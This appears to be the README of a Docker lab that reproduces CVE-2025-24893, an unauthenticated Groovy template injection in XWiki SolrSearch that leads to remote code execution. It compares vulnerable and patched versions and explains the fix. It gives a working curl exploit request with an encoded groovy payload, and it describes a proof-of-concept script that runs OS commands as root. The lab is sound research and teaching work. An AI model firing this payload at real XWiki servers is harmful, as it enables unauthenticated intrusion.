
Self-contained Docker lab that reproduces CVE-2025-24893, an unauthenticated SSTI-to-RCE in XWiki SolrSearch, and compares vulnerable vs patched behavior.
A self-contained Docker lab that reproduces CVE-2025-24893, a Server-Side Template Injection in XWiki's SolrSearch RSS feed that leads to unauthenticated remote code execution. It runs the vulnerable version 15.10.10 and the patched version 15.10.11, so the same request can be shown succeeding on one and failing on the other.
Note on the use of AI tools. In preparing this project I made limited use of two AI assistants --- Anthropic's Claude Opus 4.8 and DeepSeek-V4-Flash-0731 --- for documentation and approach research, for code review, and for polishing the wording of the README.md file and of the LaTeX report. Their contribution was marginal and strictly subordinate to my own decisions.
docker compose subcommand, not the old
docker-compose binary). Record the versions for the report with docker --version
and docker compose version.tomcat:9-jre17,
mysql:8.4, and the pure-Java JDBC driver are all multi-arch.cve-2025-24893-xwiki/
├── SETUP_GUIDE.md
├── README.md
├── docker-compose.vuln.yml # MySQL 8.4 + XWiki 15.10.10 (vulnerable)
├── docker-compose.patched.yml # MySQL 8.4 + XWiki 15.10.11 (patched)
├── exploit.py # standard-library proof of concept
├── figures/
│ ├── Figure 1.png
│ ├── Figure 2.png
│ ├── Figure 3.png
│ └── Figure 4.png
├── mysql/
│ └── init.sql # privileges for the xwiki DB user
└── xwiki-build/ # image build, pinned to the exact version by SHA-256
├── Dockerfile
├── tomcat/
│ └── setenv.sh
└── xwiki/
├── docker-entrypoint.sh
└── hibernate.cfg.xml
The only difference between the two stacks is the XWiki version. Everything else, including the database image and the JDBC driver, is identical, so any change in behaviour is due to the fix and nothing else.
Build and start:
docker compose -f docker-compose.vuln.yml up --build -d
The first build downloads and unpacks XWiki, which takes a few minutes. Wait for Tomcat to report startup:
docker compose -f docker-compose.vuln.yml logs -f xwiki # wait for "Server startup in ..."
Finish the one-time first-boot setup: open http://localhost:8080 and complete the Distribution Wizard (install the default XWiki Standard flavor). This provisions the SolrSearch UI that the exploit targets. The endpoint is reachable by guests, so the attack itself needs no login; this initial setup is the only step that does.
Fire the exploit (unauthenticated):
python3 exploit.py http://localhost:8080
Expected output on the vulnerable stack:
[+] VULNERABLE: server evaluated Groovy, found 'PoC-CVE-2025-24893-arith=42' in the feed.
Optionally show that execution reaches the OS with a read-only command:
python3 exploit.py http://localhost:8080 --prove-os
# [+] OS command executed (read-only `id`): uid=0(root) gid=0(root) ...
The same request as a plain curl one-liner:
curl -s "http://localhost:8080/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22arith%3D%22%2B%2823%2B19%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D" | grep -o 'arith=[0-9]*'
# vulnerable -> prints arith=42
Capture a screenshot of the output for the report, then tear down:
docker compose -f docker-compose.vuln.yml down # add -v to also wipe the volumes
docker compose -f docker-compose.patched.yml up --build -d
docker compose -f docker-compose.patched.yml logs -f xwiki # wait for "Server startup in ..."
Complete the Distribution Wizard again at http://localhost:8080, then run the identical exploit:
python3 exploit.py http://localhost:8080
Expected output on the patched stack:
[-] NOT vulnerable: 'PoC-CVE-2025-24893-arith=42' absent, payload returned inert (patched or blocked).
Capture this screenshot too, then reset:
docker compose -f docker-compose.patched.yml down -v
In 15.10.10 the feed-output block emits the feed as a bare Velocity expression
($xwiki.feed.getFeedOutput($feed, 'rss_2.0')), so the feed - which reflects the user's
search text - is passed back through XWiki's rendering pipeline, where an embedded {{groovy}}
macro gets executed. In 15.10.11 that block is replaced by a call to a new rawResponse macro
(SolrSearchMacros.xml line 954; the macro is defined in templates/macros.vm). rawResponse
sets the content type explicitly (application/rss+xml), writes the feed bytes straight to the
response with $response.writer.print(...), and calls $xcontext.setFinished(true) to stop any
further rendering, so the feed is sent verbatim and the embedded {{groovy}} block is never
evaluated. Patch commit 67021db9b8ed26c2236a653269302a86bf01ef40, advisory
GHSA-rr6p-3pfg-562j. The advisory also gives a manual workaround: edit Main.SolrSearchMacros
to use the same pattern, which closes the sink without upgrading.
tomcat:9-jre17, the database mysql:8.4, and the port 8080.docker compose -f <file> down -v; the next up re-initialises from
scratch.xwiki/xwiki, root xwiki-root) are for this local lab only.for V in 15.10.10 15.10.11; do
curl -fsSL "https://maven.xwiki.org/releases/org/xwiki/platform/xwiki-platform-distribution-war/$V/xwiki-platform-distribution-war-$V.war" -o x.war
echo "$V $(sha256sum x.war | cut -d' ' -f1)"
done; rm -f x.war
# expect: 15.10.10 fda9b5b4c1f471dc47e8cf2cb72b7550dbe6d6772887201be94c522a13b6078e
# 15.10.11 b69de0d6ae0d2cdd10efcd1913065f750de62b5147f553bc6772e42cc66e2e2c
curl -fsSL "https://repo1.maven.org/maven2/com/mysql/mysql-connector-j/8.4.0/mysql-connector-j-8.4.0.jar" -o j.jar
echo "connector-j 8.4.0 $(sha256sum j.jar | cut -d' ' -f1)"; rm -f j.jar
# expect: d77962877d010777cff997015da90ee689f0f4bb76848340e1488f2b83332af5
xwiki-build/ (Dockerfile, docker-entrypoint.sh, hibernate.cfg.xml, setenv.sh) and
mysql/init.sql are adapted or vendored from XWiki's official build,
https://github.com/xwiki-contrib/docker-xwiki (LGPL-2.1). The Dockerfile differs from the
upstream image in three small, documented ways: (1) the XWiki and JDBC version and checksum
are passed as build args, so one file builds both the vulnerable and the patched image; (2) an
explicit chmod +x guarantees the entrypoint is executable even if Unix permissions are lost
when the files are unzipped or transferred; and (3) a stale upstream comment referring to a
.env file (unused here) was corrected. XWiki is copyright the XWiki Development Team.
rawResponse